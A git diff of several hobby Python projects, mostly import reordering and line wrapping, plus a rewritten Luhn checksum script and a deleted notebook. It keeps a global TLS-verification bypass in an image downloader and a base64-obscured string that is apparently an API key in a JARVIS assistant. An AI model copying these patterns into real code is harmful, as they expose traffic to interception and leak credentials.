index 7b7b72d9ad3..c41042e8842 100644
--- a/Flappy Bird - created with tkinter/Settings.py
+++ b/Flappy Bird - created with tkinter/Settings.py
@@ -1,6 +1,5 @@
import os
-from json import dumps
-from json import loads
+from json import dumps, loads
class Settings(object):
diff --git a/Google_Image_Downloader/create_dir.py b/Google_Image_Downloader/create_dir.py
index 0734f836802..dab579db1e4 100644
--- a/Google_Image_Downloader/create_dir.py
+++ b/Google_Image_Downloader/create_dir.py
@@ -10,14 +10,9 @@
project directory.
"""
-from os import chdir
-from os import makedirs
-from os import removedirs
-from os import rename
-from os.path import exists
-from os.path import pardir
-from shutil import copytree
-from shutil import move
+from os import chdir, makedirs, removedirs, rename
+from os.path import exists, pardir
+from shutil import copytree, move
# Creates a directory
diff --git a/Google_Image_Downloader/image_grapper.py b/Google_Image_Downloader/image_grapper.py
index d42f4a3ac86..5ec19e39552 100644
--- a/Google_Image_Downloader/image_grapper.py
+++ b/Google_Image_Downloader/image_grapper.py
@@ -2,19 +2,16 @@
# -*- coding: utf-8 -*-
# importing required libraries
import json
-from os import chdir, system
-from os import walk
-from os.path import curdir
-from os.path import pardir
+import ssl
+from os import chdir, system, walk
+from os.path import curdir, pardir
from urllib.parse import urlencode
-from urllib.request import urlopen, Request
+from urllib.request import Request, urlopen
import requests
-import ssl
from bs4 import BeautifulSoup
from create_dir import create_directory
-
ssl._create_default_https_context = ssl._create_unverified_context
GOOGLE_IMAGE = (
@@ -58,7 +55,7 @@ def search_for_image():
results = sew.findAll("div", {"class": "rg_meta"})
for re in results:
- (link, Type) = (json.loads(re.text)["ou"], json.loads(re.text)["ity"])
+ link, Type = (json.loads(re.text)["ou"], json.loads(re.text)["ity"])
images.append(link)
counter = 0
for re in images:
@@ -132,29 +129,24 @@ def set_directory():
##############
def quit():
- print(
- """
+ print("""
-------------------------***Thank You For Using***-------------------------
- """
- )
+ """)
return False
run = True
-print(
- """
+print("""
***********[First Creating Folder To Save Your Images}***********
- """
-)
+ """)
create_directory("Images")
DEFAULT_DIRECTORY = pardir + "\\Images"
chdir(DEFAULT_DIRECTORY)
count = 0
while run:
- print(
- """
+ print("""
-------------------------WELCOME-------------------------
1. Search for image
2. Download Wallpapers 1080p
@@ -162,8 +154,7 @@ def quit():
4. Set directory
5. Exit
-------------------------*******-------------------------
- """
- )
+ """)
choice = input()
try:
# Via eval() let `str expression` to `function`
diff --git a/HTML_to_PDF/main.py b/HTML_to_PDF/main.py
index 5211ee325b3..2932834f630 100644
--- a/HTML_to_PDF/main.py
+++ b/HTML_to_PDF/main.py
@@ -1,6 +1,7 @@
-import pdfkit
import os
+import pdfkit
+
# Download wkhtmltopdf from https://wkhtmltopdf.org/downloads.html
# Set the path to the wkhtmltopdf executable
diff --git a/Hand-Motion-Detection/hand_motion_recognizer.py b/Hand-Motion-Detection/hand_motion_recognizer.py
index 4b4fd588dba..501bdcee3d1 100644
--- a/Hand-Motion-Detection/hand_motion_recognizer.py
+++ b/Hand-Motion-Detection/hand_motion_recognizer.py
@@ -1,5 +1,5 @@
-import mediapipe as mp
import cv2
+import mediapipe as mp
mp_drawing = mp.solutions.drawing_utils
mp_hands = mp.solutions.hands
diff --git a/HangMan Game.py b/HangMan Game.py
index 7811963553a..75b1e797e41 100644
--- a/HangMan Game.py
+++ b/HangMan Game.py
@@ -1,5 +1,6 @@
# Program for HangMan Game.
import random
+
import HangMan_Includes as incl
while True:
diff --git a/Hangman.py b/Hangman.py
index c49a64cc714..d9e4927a444 100644
--- a/Hangman.py
+++ b/Hangman.py
@@ -1,8 +1,7 @@
# importing the time module
-import time
-
# importing the random module
import random
+import time
# welcoming the user
name = input("What is your name? ")
diff --git a/Hotel-Management.py b/Hotel-Management.py
index d3a17178f02..aaa0fece7e5 100644
--- a/Hotel-Management.py
+++ b/Hotel-Management.py
@@ -100,8 +100,8 @@ def add():
exit_menu()
-import os
import json
+import os
filecheck = os.path.isfile("Management.txt")
if not filecheck:
diff --git a/Image-watermarker/app.py b/Image-watermarker/app.py
index 6d0d2bce3c1..1dabfa59448 100644
--- a/Image-watermarker/app.py
+++ b/Image-watermarker/app.py
@@ -1,11 +1,11 @@
+from tkinter import colorchooser
+
import customtkinter as ctk
-from customtkinter import filedialog
+import pyglet
from CTkMessagebox import CTkMessagebox
+from customtkinter import filedialog
from PIL import Image, ImageTk
from watermark import Watermark
-import pyglet
-from tkinter import colorchooser
-
# ------------------- Create Window -----------------
pyglet.font.add_directory("fonts")
diff --git a/Image-watermarker/watermark.py b/Image-watermarker/watermark.py
index dd3a11c79fc..69139ee7196 100644
--- a/Image-watermarker/watermark.py
+++ b/Image-watermarker/watermark.py
@@ -1,6 +1,6 @@
-from PIL import ImageDraw, ImageFont
-from customtkinter import filedialog
from CTkMessagebox import CTkMessagebox
+from customtkinter import filedialog
+from PIL import ImageDraw, ImageFont
class Watermark:
diff --git a/ImageDownloader/img_downloader.py b/ImageDownloader/img_downloader.py
index 7ee1bc34c09..cba3c466e12 100644
--- a/ImageDownloader/img_downloader.py
+++ b/ImageDownloader/img_downloader.py
@@ -4,6 +4,7 @@
def ImageDownloader(url):
import os
import re
+
import requests
response = requests.get(url)
diff --git a/Industrial_developed_hangman/tests/test_hangman/test_main.py b/Industrial_developed_hangman/tests/test_hangman/test_main.py
index 6567e56b765..ef18df02d82 100644
--- a/Industrial_developed_hangman/tests/test_hangman/test_main.py
+++ b/Industrial_developed_hangman/tests/test_hangman/test_main.py
@@ -2,12 +2,7 @@
import pytest
import requests_mock
-
-from src.hangman.main import (
- MainProcess,
- Source,
- parse_word_from_site,
-)
+from src.hangman.main import MainProcess, Source, parse_word_from_site
class FkPrint(object):
diff --git a/Infix_to_Postfix.py b/Infix_to_Postfix.py
index 597cd35cef3..541bac2c995 100644
--- a/Infix_to_Postfix.py
+++ b/Infix_to_Postfix.py
@@ -1,5 +1,6 @@
# Python program to convert infix expression to postfix
+
# Class to convert the expression
class Conversion:
# Constructor to initialize the class variables
diff --git a/JARVIS/JARVIS_2.0.py b/JARVIS/JARVIS_2.0.py
index 676c6b833ce..3014a968bca 100644
--- a/JARVIS/JARVIS_2.0.py
+++ b/JARVIS/JARVIS_2.0.py
@@ -10,27 +10,27 @@
# import modules
import datetime # datetime module supplies classes for manipulating dates and times
+import json
+
+# master
+# auto install for pyttsx3 and speechRecognition
+import os
import subprocess # subprocess module allows you to spawn new processes
# master
import pyjokes # for generating random jokes
import requests
-import json
-from PIL import ImageGrab
from gtts import gTTS
+from PIL import ImageGrab
+
+# =======
+from playsound import * # for sound output
# for 30 seconds clip "Jarvis, clip that!" and discord ctrl+k quick-move (might not come to fruition)
from pynput import keyboard
from pynput.keyboard import Key
from pynput.mouse import Controller
-# =======
-from playsound import * # for sound output
-
-# master
-# auto install for pyttsx3 and speechRecognition
-import os
-
try:
import pyttsx3 # Check if already installed
except: # If not installed give exception
@@ -44,8 +44,8 @@
import speech_recognition as sr # speech_recognition Library for performing speech recognition with support for Google Speech Recognition, etc..
# importing the pyttsx3 library
-import webbrowser
import smtplib
+import webbrowser
# initialisation
engine = pyttsx3.init()
@@ -84,9 +84,10 @@ def sendEmail(to, content):
server.close()
-import openai
import base64
+import openai
+
stab = base64.b64decode(
b"c2stMGhEOE80bDYyZXJ5ajJQQ3FBazNUM0JsYmtGSmRsckdDSGxtd3VhQUE1WWxsZFJx"
).decode("utf-8")
diff --git a/JARVIS/__init__.py b/JARVIS/__init__.py
index 7cf4a8d62a4..6b51a7ab597 100644
--- a/JARVIS/__init__.py
+++ b/JARVIS/__init__.py
@@ -1,2 +1 @@
"""Jarvis local desktop assistant."""
-
diff --git a/JARVIS/actions.py b/JARVIS/actions.py
index c8bef6f62af..d5857c6c942 100644
--- a/JARVIS/actions.py
+++ b/JARVIS/actions.py
@@ -59,7 +59,11 @@ def open_web_target(target):
cleaned = normalize_text(target)
url = KNOWN_SITES.get(cleaned)
if not url and "." in cleaned:
- url = target if target.startswith(("http://", "https://")) else f"https://{target}"
+ url = (
+ target
+ if target.startswith(("http://", "https://"))
+ else f"https://{target}"
+ )
if not url or not is_safe_url(url):
return "I can only open safe web addresses."
webbrowser.open(url)
@@ -102,7 +106,14 @@ def rule_based_action(text):
if is_dangerous_request(cleaned):
return "blocked"
- search_prefixes = ["search for ", "google search ", "look up ", "find ", "ara ", "google da ara "]
+ search_prefixes = [
+ "search for ",
+ "google search ",
+ "look up ",
+ "find ",
+ "ara ",
+ "google da ara ",
+ ]
for prefix in search_prefixes:
if cleaned.startswith(prefix):
query = cleaned.removeprefix(prefix).strip()
@@ -120,7 +131,15 @@ def rule_based_action(text):
app = cleaned[: -len(" kapat")].strip()
return f"close_app:{app}" if app else ""
- open_prefixes = ["open ", "launch ", "start ", "can you open ", "please open ", "ac ", "aç "]
+ open_prefixes = [
+ "open ",
+ "launch ",
+ "start ",
+ "can you open ",
+ "please open ",
+ "ac ",
+ "aç ",
+ ]
suffix_open_words = [" ac", " aç", " i ac", " i aç", " u ac", " u aç"]
for site, url in KNOWN_SITES.items():
if cleaned in {site, f"open {site}", f"{site} ac", f"{site} aç"}:
diff --git a/JARVIS/ai.py b/JARVIS/ai.py
index 370cd7e25e1..266e68d2d9c 100644
--- a/JARVIS/ai.py
+++ b/JARVIS/ai.py
@@ -48,7 +48,9 @@ def ask_model(text):
)
except OpenAIError as exc:
state.debug("chat error", str(exc))
- return "I cannot reach LM Studio right now. Start the local server and try again."
+ return (
+ "I cannot reach LM Studio right now. Start the local server and try again."
+ )
debug_response("chat", prompt, response)
return clean_assistant_output(response.output_text)
@@ -56,7 +58,9 @@ def ask_model(text):
def classify_action(text):
prompt = f"{ACTION_CLASSIFIER_PROMPT}\nUser: {text}"
try:
- response = lm_client().responses.create(model=OPENAI_MODEL, input=prompt, max_output_tokens=40)
+ response = lm_client().responses.create(
+ model=OPENAI_MODEL, input=prompt, max_output_tokens=40
+ )
except OpenAIError as exc:
state.debug("action error", str(exc))
return "chat"
diff --git a/JARVIS/apps.py b/JARVIS/apps.py
index 293d8655d62..16d67809e64 100644
--- a/JARVIS/apps.py
+++ b/JARVIS/apps.py
@@ -13,7 +13,8 @@
def safe_search_dirs():
dirs = [
Path(os.environ.get("APPDATA", "")) / r"Microsoft\Windows\Start Menu\Programs",
- Path(os.environ.get("PROGRAMDATA", "")) / r"Microsoft\Windows\Start Menu\Programs",
+ Path(os.environ.get("PROGRAMDATA", ""))
+ / r"Microsoft\Windows\Start Menu\Programs",
Path(os.environ.get("USERPROFILE", "")) / "Desktop",
Path(os.environ.get("PUBLIC", r"C:\Users\Public")) / "Desktop",
Path(os.environ.get("LOCALAPPDATA", "")) / "Programs",
@@ -41,7 +42,11 @@ def build_application_index():
for root in safe_search_dirs():
try:
candidates = list(root.rglob("*.lnk"))
- if root.name.lower() in {"program files", "program files (x86)", "programs"}:
+ if root.name.lower() in {
+ "program files",
+ "program files (x86)",
+ "programs",
+ }:
candidates.extend(root.glob("*/*.exe"))
candidates.extend(root.glob("*.exe"))
except OSError:
@@ -53,7 +58,9 @@ def build_application_index():
key = normalize_text(name)
apps.setdefault(key, {"name": name, "path": str(path)})
sorted_apps = sorted(apps.values(), key=lambda item: item["name"].lower())
- APP_INDEX_FILE.write_text(json.dumps(sorted_apps, ensure_ascii=False, indent=2), encoding="utf-8")
+ APP_INDEX_FILE.write_text(
+ json.dumps(sorted_apps, ensure_ascii=False, indent=2), encoding="utf-8"
+ )
return sorted_apps
@@ -68,9 +75,13 @@ def find_application(name):
wanted = normalize_text(name)
if not wanted:
return None
- if wanted in BLOCKED_APPS or any(word in wanted.split() for word in DANGEROUS_WORDS):
+ if wanted in BLOCKED_APPS or any(
+ word in wanted.split() for word in DANGEROUS_WORDS
+ ):
return None
- normalized_apps = [(app, normalize_text(app.get("name", ""))) for app in load_application_index()]
+ normalized_apps = [
+ (app, normalize_text(app.get("name", ""))) for app in load_application_index()
+ ]
for app, app_name in normalized_apps:
if wanted == app_name:
return app
diff --git a/JARVIS/cli.py b/JARVIS/cli.py
index 8e3d378286c..24c964916a0 100644
--- a/JARVIS/cli.py
+++ b/JARVIS/cli.py
@@ -13,7 +13,15 @@
def should_exit(text):
- return normalize_text(text) in {"exit", "quit", "bye", "cik", "çık", "stop jarvis", "kapat jarvis"}
+ return normalize_text(text) in {
+ "exit",
+ "quit",
+ "bye",
+ "cik",
+ "çık",
+ "stop jarvis",
+ "kapat jarvis",
+ }
def wants_type_mode(text):
@@ -31,7 +39,12 @@ def wants_type_mode(text):
def wants_developer_mode(text):
- return normalize_text(text) in {"developer mode", "development mode", "dev mode", "change mode"}
+ return normalize_text(text) in {
+ "developer mode",
+ "development mode",
+ "dev mode",
+ "change mode",
+ }
def wants_normal_mode(text):
@@ -79,7 +92,12 @@ def handle_command(user_input):
return "Developer mode disabled."
if cleaned in {"help", "/help", "yardim", "yardım"}:
return help_text()
- if cleaned in {"clear memory", "memory clear", "hafizayi temizle", "hafızayı temizle"}:
+ if cleaned in {
+ "clear memory",
+ "memory clear",
+ "hafizayi temizle",
+ "hafızayı temizle",
+ }:
clear_memory()
return "Memory cleared."
if cleaned.startswith("/apps"):
@@ -98,7 +116,9 @@ def handle_and_say(user_input):
def voice_loop():
say("Ready.")
- print("Listening stays on. Speak when you want something, or say 'type mode' to write.")
+ print(
+ "Listening stays on. Speak when you want something, or say 'type mode' to write."
+ )
check_lm_studio()
apps = build_application_index()
say(f"Safe app index ready: {len(apps)} apps found.")
@@ -129,7 +149,11 @@ def voice_loop():
handle_and_say(typed)
print("Listening again...")
continue
- if normalize_text(user_input) in {"refresh apps", "uygulamalari yenile", "uygulamaları yenile"}:
+ if normalize_text(user_input) in {
+ "refresh apps",
+ "uygulamalari yenile",
+ "uygulamaları yenile",
+ }:
apps = build_application_index()
say(f"Safe app index refreshed: {len(apps)} apps found.")
continue
@@ -148,7 +172,7 @@ def typed_loop():
while True:
try:
user_input = input("You: ").strip()
- except (EOFError, KeyboardInterrupt):
+ except EOFError, KeyboardInterrupt:
print()
say("Goodbye.")
break
diff --git a/JARVIS/config.py b/JARVIS/config.py
index 1df478b7762..29f2b5b364a 100644
--- a/JARVIS/config.py
+++ b/JARVIS/config.py
@@ -1,6 +1,5 @@
from pathlib import Path
-
BASE_DIR = Path(__file__).resolve().parent.parent
OPENAI_API_KEY = ""
@@ -38,4 +37,3 @@
"komut istemi ac",
"komut istemi aç",
}
-
diff --git a/JARVIS/jarvis.py b/JARVIS/jarvis.py
index 2d98e162fb7..147803daf56 100644
--- a/JARVIS/jarvis.py
+++ b/JARVIS/jarvis.py
@@ -2,7 +2,5 @@
from jarvis_assistant.cli import main
-
if __name__ == "__main__":
main(sys.argv)
-
diff --git a/JARVIS/memory.py b/JARVIS/memory.py
index 9690b796327..a82fafd169b 100644
--- a/JARVIS/memory.py
+++ b/JARVIS/memory.py
@@ -8,7 +8,7 @@ def load_json_list(path):
return []
try:
data = json.loads(path.read_text(encoding="utf-8"))
- except (OSError, json.JSONDecodeError):
+ except OSError, json.JSONDecodeError:
return []
return data if isinstance(data, list) else []
@@ -44,4 +44,3 @@ def memory_context():
if not memory:
return "No saved memory yet."
return "\n".join(f"- {item}" for item in memory[-10:])
-
diff --git a/JARVIS/safety.py b/JARVIS/safety.py
index da080396705..3af295a2654 100644
--- a/JARVIS/safety.py
+++ b/JARVIS/safety.py
@@ -2,7 +2,6 @@
from .text_utils import normalize_text
-
DANGEROUS_WORDS = {
"install",
"uninstall",
@@ -47,4 +46,3 @@
def is_dangerous_request(text):
words = set(re.findall(r"[a-z0-9]+", normalize_text(text)))
return bool(words & DANGEROUS_WORDS)
-
diff --git a/JARVIS/speech.py b/JARVIS/speech.py
index 7c78c5409c0..ed165c44aea 100644
--- a/JARVIS/speech.py
+++ b/JARVIS/speech.py
@@ -3,8 +3,6 @@
import sys
import tempfile
-import speech_recognition as sr
-
from .config import LISTEN_PHRASE_SECONDS, SPEECH_LANGUAGES, TTS_MODE
from .text_utils import clean_assistant_output, normalize_text
@@ -98,7 +96,9 @@ def speak(text):
def say(text):
output_encoding = sys.stdout.encoding or "utf-8"
clean_text = clean_assistant_output(text)
- safe_text = clean_text.encode(output_encoding, errors="replace").decode(output_encoding)
+ safe_text = clean_text.encode(output_encoding, errors="replace").decode(
+ output_encoding
+ )
print(f"Jarvis: {safe_text}")
speak(safe_text)
@@ -107,11 +107,17 @@ def recognize_audio(audio, recognizer):
candidates = []
for language in SPEECH_LANGUAGES:
try:
- result = recognizer.recognize_google(audio, language=language, show_all=True)
+ result = recognizer.recognize_google(
+ audio, language=language, show_all=True
+ )
except Exception:
continue
alternatives = result.get("alternative", []) if isinstance(result, dict) else []
- candidates.extend(item.get("transcript", "") for item in alternatives if item.get("transcript"))
+ candidates.extend(
+ item.get("transcript", "")
+ for item in alternatives
+ if item.get("transcript")
+ )
unique_candidates = []
seen = set()
for candidate in candidates:
@@ -124,7 +130,9 @@ def recognize_audio(audio, recognizer):
def listen_once(recognizer, source, choose_best_candidate):
print("Listening...")
- audio = recognizer.listen(source, timeout=None, phrase_time_limit=LISTEN_PHRASE_SECONDS)
+ audio = recognizer.listen(
+ source, timeout=None, phrase_time_limit=LISTEN_PHRASE_SECONDS
+ )
candidates = recognize_audio(audio, recognizer)
if candidates:
print("I heard these possibilities:")
diff --git a/JARVIS/state.py b/JARVIS/state.py
index 5a07e3f97e3..998e65d42fb 100644
--- a/JARVIS/state.py
+++ b/JARVIS/state.py
@@ -14,4 +14,3 @@ def debug(label, value):
if not DEVELOPER_MODE:
return
print(f"[dev] {label}: {value}")
-
diff --git a/JARVIS/text_utils.py b/JARVIS/text_utils.py
index 71f8df7645c..b72174aa135 100644
--- a/JARVIS/text_utils.py
+++ b/JARVIS/text_utils.py
@@ -19,6 +19,7 @@ def normalize_text(text):
def clean_assistant_output(text):
cleaned = str(text).strip()
cleaned = re.sub(r"^(jarvis\s*:\s*)+", "", cleaned, flags=re.IGNORECASE).strip()
- cleaned = re.sub(r"^(jarvis[,.! ]+){2,}", "Jarvis ", cleaned, flags=re.IGNORECASE).strip()
+ cleaned = re.sub(
+ r"^(jarvis[,.! ]+){2,}", "Jarvis ", cleaned, flags=re.IGNORECASE
+ ).strip()
return cleaned
-
diff --git a/Job_scheduling.py b/Job_scheduling.py
index fedad00654a..b20684f1751 100644
--- a/Job_scheduling.py
+++ b/Job_scheduling.py
@@ -65,7 +65,7 @@ def feasible(self, profit_jobs: List[int], deadline: List[int]) -> bool:
self.index2 = self.jobs.index(self.tmp[j])
j += 1
if deadline[self.index1] > deadline[self.index2]:
- (self.tmp[i], self.tmp[j]) = (
+ self.tmp[i], self.tmp[j] = (
self.tmp[j],
self.tmp[i],
)
@@ -104,7 +104,7 @@ def main():
current_job.extend((jobs[i].deadline, jobs[i].profit, jobs[i].job_id))
midresult.append(current_job)
midresult.sort(key=lambda k: (k[0], -k[1]))
- (deadline, profit, jobs) = map(list, zip(*midresult))
+ deadline, profit, jobs = map(list, zip(*midresult))
scheduling_jobs = Scheduling(jobs)
scheduled_jobs = scheduling_jobs.schedule(len(jobs), deadline)
diff --git a/Luhn_Algorithm.py b/Luhn_Algorithm.py
index 51eb03672aa..1a1b8bc3240 100644
--- a/Luhn_Algorithm.py
+++ b/Luhn_Algorithm.py
@@ -1,68 +1,115 @@
#!/usr/bin/env python3
+"""
+Luhn Algorithm – Calculate the check digit for a given payload.
+This module provides a function to compute the Luhn check digit
+for a numeric string and a command-line interface to demonstrate it.
"""
-Python Program using the Luhn Algorithm
-This program uses the Luhn Algorithm, named after its creator
-Hans Peter Luhn, to calculate the check digit of a 10-digit
-"payload" number, and output the final 11-digit number.
+import sys
-To prove this program correctly calculates the check digit,
-the input 7992739871 should return:
-Sum of all digits: 67
-Check digit: 3
-Full valid number (11 digits): 79927398713
+def luhn_checksum(payload: str) -> int:
+ """
+ Compute the Luhn check digit for the given payload string.
-11/15/2021
-David Costell (DontEatThemCookies on GitHub)
-"""
+ The algorithm processes digits from right to left, doubling every
+ second digit starting from the rightmost digit (i.e., positions
+ 1, 3, 5, ... from the right). If doubling results in a number
+ greater than 9, subtract 9 from it (equivalent to summing the digits).
+
+ Args:
+ payload: A string of decimal digits (e.g., "7992739871").
+
+ Returns:
+ The check digit (0–9) that makes the full number valid.
+
+ Raises:
+ ValueError: If payload contains any non-digit character.
+ """
+ if not payload.isdigit():
+ raise ValueError("Payload must contain only digits.")
+
+ digits = [int(ch) for ch in payload]
+ total = 0
+
+ # Iterate from the rightmost digit, starting index at 1
+ for i, d in enumerate(reversed(digits), start=1):
+ if i % 2 == 1: # Odd position from the right (1st, 3rd, 5th, ...)
+ doubled = d * 2
+ total += doubled if doubled < 10 else doubled - 9
+ else:
+ total += d
+
+ # The check digit is the number that makes the total a multiple of 10
+ check_digit = (10 - total % 10) % 10
+ return check_digit
+
+
+def main() -> None:
+ """Command-line entry point: prompts for a 10-digit payload and prints the result."""
+ try:
+ payload = input("Enter number to validate (e.g., 7992739871): ").strip()
+ if len(payload) != 10:
+ print("Error: Number must be exactly 10 digits.")
+ sys.exit(1)
+
+ check = luhn_checksum(payload)
+ full_number = payload + str(check)
+
+ print(f"Sum of all digits: {sum(int(ch) for ch in payload)}")
+ print(f"Check digit: {check}")
+ print(f"Full valid number (11 digits): {full_number}")
+
+ except ValueError as e:
+ print(f"Error: {e}")
+ sys.exit(1)
+
+ input("Press Enter to exit...")
+
+
+# =========================== Pytest Tests ===========================
+
+
+def test_luhn_checksum_known_case() -> None:
+ """Known example from Wikipedia: 7992739871 → check digit 3."""
+ assert luhn_checksum("7992739871") == 3
+
+
+def test_luhn_checksum_zero_checkdigit() -> None:
+ """Case where the check digit is 0: using 2222222222."""
+ # For 2222222222, total = 30 → (10 - 30%10)%10 = 0
+ assert luhn_checksum("2222222222") == 0
+
+
+def test_luhn_checksum_another_payload() -> None:
+ """Another arbitrary payload: 1234567890 → check digit 3."""
+ assert luhn_checksum("1234567890") == 3
+
+
+def test_luhn_checksum_invalid_characters() -> None:
+ """Non-digit input must raise ValueError."""
+ import pytest
+
+ with pytest.raises(ValueError, match="Payload must contain only digits."):
+ luhn_checksum("1234abc567")
+
+
+def test_luhn_checksum_empty_string() -> None:
+ """Empty string must raise ValueError."""
+ import pytest
+
+ with pytest.raises(ValueError, match="Payload must contain only digits."):
+ luhn_checksum("")
+
+
+# =========================== Entry Point ===========================
+
+if __name__ == "__main__":
+ # If the --test argument is given, run pytest on this file.
+ if "--test" in sys.argv:
+ import pytest
-# Input
-CC = input("Enter number to validate (e.g. 7992739871): ")
-if len(CC) < 10 or len(CC) > 10:
- input("Number must be 10 digits! ")
- exit()
-
-# Use list comprehension to split the number into individual digits
-split = [int(split) for split in str(CC)]
-
-# List of digits to be multiplied by 2 (to be doubled)
-tobedoubled = [split[1], split[3], split[5], split[7], split[9]]
-# List of remaining digits not to be multiplied
-remaining = [split[0], split[2], split[4], split[6], split[8]]
-
-# Step 1
-# Double all values in the tobedoubled list
-# Put the newly-doubled values in a new list
-newdoubled = []
-for i in tobedoubled:
- i = i * 2
- newdoubled.append(i)
-tobedoubled = newdoubled
-
-# Check for any double-digit items in the tobedoubled list
-# Splits all double-digit items into two single-digit items
-newdoubled = []
-for i in tobedoubled:
- if i > 9:
- splitdigit = str(i)
- for index in range(0, len(splitdigit), 1):
- newdoubled.append(splitdigit[index : index + 1])
- tobedoubled.remove(i)
-newdoubled = [int(i) for i in newdoubled]
-
-# Unify all lists into one (luhnsum)
-luhnsum = []
-luhnsum.extend(tobedoubled)
-luhnsum.extend(newdoubled)
-luhnsum.extend(remaining)
-
-# Output
-print("Final digit list:", luhnsum)
-print("Sum of all digits:", sum(luhnsum))
-checkdigit = 10 - sum(luhnsum) % 10
-print("Check digit:", checkdigit)
-finalcc = str(CC) + str(checkdigit)
-print("Full valid number (11 digits):", finalcc)
-input()
+ sys.exit(pytest.main([__file__]))
+ else:
+ main()
diff --git a/ML House Prediction.ipynb b/ML House Prediction.ipynb
deleted file mode 100644
index 9f0fbbedaf6..00000000000
--- a/ML House Prediction.ipynb
+++ /dev/null
@@ -1,1717 +0,0 @@
-{
- "cells": [
- {
- "cell_type": "markdown",
- "metadata": {},
- "source": [
- "## Housing Price Predictor"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 1,
- "metadata": {},
- "outputs": [],
- "source": [
- "import pandas as pd"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 2,
- "metadata": {},
- "outputs": [],
- "source": [
- "housing = pd.read_csv(\"data.csv\")"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 3,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/html": [
- "
\n",
- "\n",
- "
\n",
- " \n",
- " \n",
- " \n",
- " CRIM \n",
- " ZN \n",
- " INDUS \n",
- " CHAS \n",
- " NOX \n",
- " RM \n",
- " AGE \n",
- " DIS \n",
- " RAD \n",
- " TAX \n",
- " PTRATIO \n",
- " B \n",
- " LSTAT \n",
- " MEDV \n",
- " \n",
- " \n",
- " \n",
- " \n",
- " 0 \n",
- " 0.00632 \n",
- " 18.0 \n",
- " 2.31 \n",
- " 0 \n",
- " 0.538 \n",
- " 6.575 \n",
- " 65.2 \n",
- " 4.0900 \n",
- " 1 \n",
- " 296 \n",
- " 15.3 \n",
- " 396.90 \n",
- " 4.98 \n",
- " 24.0 \n",
- " \n",
- " \n",
- " 1 \n",
- " 0.02731 \n",
- " 0.0 \n",
- " 7.07 \n",
- " 0 \n",
- " 0.469 \n",
- " 6.421 \n",
- " 78.9 \n",
- " 4.9671 \n",
- " 2 \n",
- " 242 \n",
- " 17.8 \n",
- " 396.90 \n",
- " 9.14 \n",
- " 21.6 \n",
- " \n",
- " \n",
- " 2 \n",
- " 0.02729 \n",
- " 0.0 \n",
- " 7.07 \n",
- " 0 \n",
- " 0.469 \n",
- " 7.185 \n",
- " 61.1 \n",
- " 4.9671 \n",
- " 2 \n",
- " 242 \n",
- " 17.8 \n",
- " 392.83 \n",
- " 4.03 \n",
- " 34.7 \n",
- " \n",
- " \n",
- " 3 \n",
- " 0.03237 \n",
- " 0.0 \n",
- " 2.18 \n",
- " 0 \n",
- " 0.458 \n",
- " 6.998 \n",
- " 45.8 \n",
- " 6.0622 \n",
- " 3 \n",
- " 222 \n",
- " 18.7 \n",
- " 394.63 \n",
- " 2.94 \n",
- " 33.4 \n",
- " \n",
- " \n",
- " 4 \n",
- " 0.06905 \n",
- " 0.0 \n",
- " 2.18 \n",
- " 0 \n",
- " 0.458 \n",
- " 7.147 \n",
- " 54.2 \n",
- " 6.0622 \n",
- " 3 \n",
- " 222 \n",
- " 18.7 \n",
- " 396.90 \n",
- " 5.33 \n",
- " 36.2 \n",
- " \n",
- " \n",
- "
\n",
- "
"
- ],
- "text/plain": [
- " CRIM ZN INDUS CHAS NOX RM AGE DIS RAD TAX PTRATIO \\\n",
- "0 0.00632 18.0 2.31 0 0.538 6.575 65.2 4.0900 1 296 15.3 \n",
- "1 0.02731 0.0 7.07 0 0.469 6.421 78.9 4.9671 2 242 17.8 \n",
- "2 0.02729 0.0 7.07 0 0.469 7.185 61.1 4.9671 2 242 17.8 \n",
- "3 0.03237 0.0 2.18 0 0.458 6.998 45.8 6.0622 3 222 18.7 \n",
- "4 0.06905 0.0 2.18 0 0.458 7.147 54.2 6.0622 3 222 18.7 \n",
- "\n",
- " B LSTAT MEDV \n",
- "0 396.90 4.98 24.0 \n",
- "1 396.90 9.14 21.6 \n",
- "2 392.83 4.03 34.7 \n",
- "3 394.63 2.94 33.4 \n",
- "4 396.90 5.33 36.2 "
- ]
- },
- "execution_count": 3,
- "metadata": {},
- "output_type": "execute_result"
- }
- ],
- "source": [
- "housing.head()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 4,
- "metadata": {},
- "outputs": [
- {
- "name": "stdout",
- "output_type": "stream",
- "text": [
- "\n",
- "RangeIndex: 506 entries, 0 to 505\n",
- "Data columns (total 14 columns):\n",
- " # Column Non-Null Count Dtype \n",
- "--- ------ -------------- ----- \n",
- " 0 CRIM 506 non-null float64\n",
- " 1 ZN 506 non-null float64\n",
- " 2 INDUS 506 non-null float64\n",
- " 3 CHAS 506 non-null int64 \n",
- " 4 NOX 506 non-null float64\n",
- " 5 RM 506 non-null float64\n",
- " 6 AGE 506 non-null float64\n",
- " 7 DIS 506 non-null float64\n",
- " 8 RAD 506 non-null int64 \n",
- " 9 TAX 506 non-null int64 \n",
- " 10 PTRATIO 506 non-null float64\n",
- " 11 B 506 non-null float64\n",
- " 12 LSTAT 506 non-null float64\n",
- " 13 MEDV 506 non-null float64\n",
- "dtypes: float64(11), int64(3)\n",
- "memory usage: 55.4 KB\n"
- ]
- }
- ],
- "source": [
- "housing.info()"
- ]
- },
- {
- "cell_type": "code",
- "execution_count": 5,
- "metadata": {},
- "outputs": [
- {
- "data": {
- "text/html": [
- "\n",
- "\n",
- "
\n",
- " \n",
- " \n",
- " \n",
- " CRIM \n",
- " ZN \n",
- " INDUS \n",
- " CHAS \n",
- " NOX \n",
- " RM \n",
- " AGE \n",
- " DIS \n",
- " RAD \n",
- " TAX \n",
- " PTRATIO \n",
- " B \n",
- " LSTAT \n",
- " MEDV \n",
- " \n",
- " \n",
- " \n",
- " \n",
- " count \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " 506.000000 \n",
- " \n",
- " \n",
- " mean \n",
- " 3.613524 \n",
- " 11.363636 \n",
- " 11.136779 \n",
- " 0.069170 \n",
- " 0.554695 \n",
